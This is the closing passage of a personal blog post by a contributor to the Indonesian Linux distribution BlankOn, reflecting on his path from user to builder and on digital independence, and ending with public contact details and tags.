The transformation from blank to on isn't just BlankOn's philosophy—it's my personal journey too. From learning Linux basics to now contributing to Indonesia's own distribution, from being a user to becoming a builder, this is exactly the kind of transformation BlankOn represents.

I'm committed to the mission of changing Indonesia's technology landscape from consumer-dependent to producer-innovative. Every commit, every infrastructure improvement, every collaboration brings us closer to that vision.

The Journey Continues: From learning system administration to securing networks, from earning certifications to building infrastructure for Indonesia's Linux distribution—every step forward is a step toward digital independence. {: .prompt-tip }

Connect & Collaborate

If you're interested in contributing to BlankOn or learning more about Indonesian open-source projects:

• Email: fdzak01@gmail.com

• Telegram: @fdzak01

• GPG Fingerprint: 65C4 F8CC A444 02DD CE9E B998 5F3D 6D9F 31A4 02B6

Let's build Indonesia's digital future together—from blank to on, from consumers to producers, from dependence to independence!

Tags: #BlankOn #OpenSource #Linux #Debian #Indonesia #Infrastructure #FOSS #DigitalSovereignty #MadeInIndonesia #SystemAdministration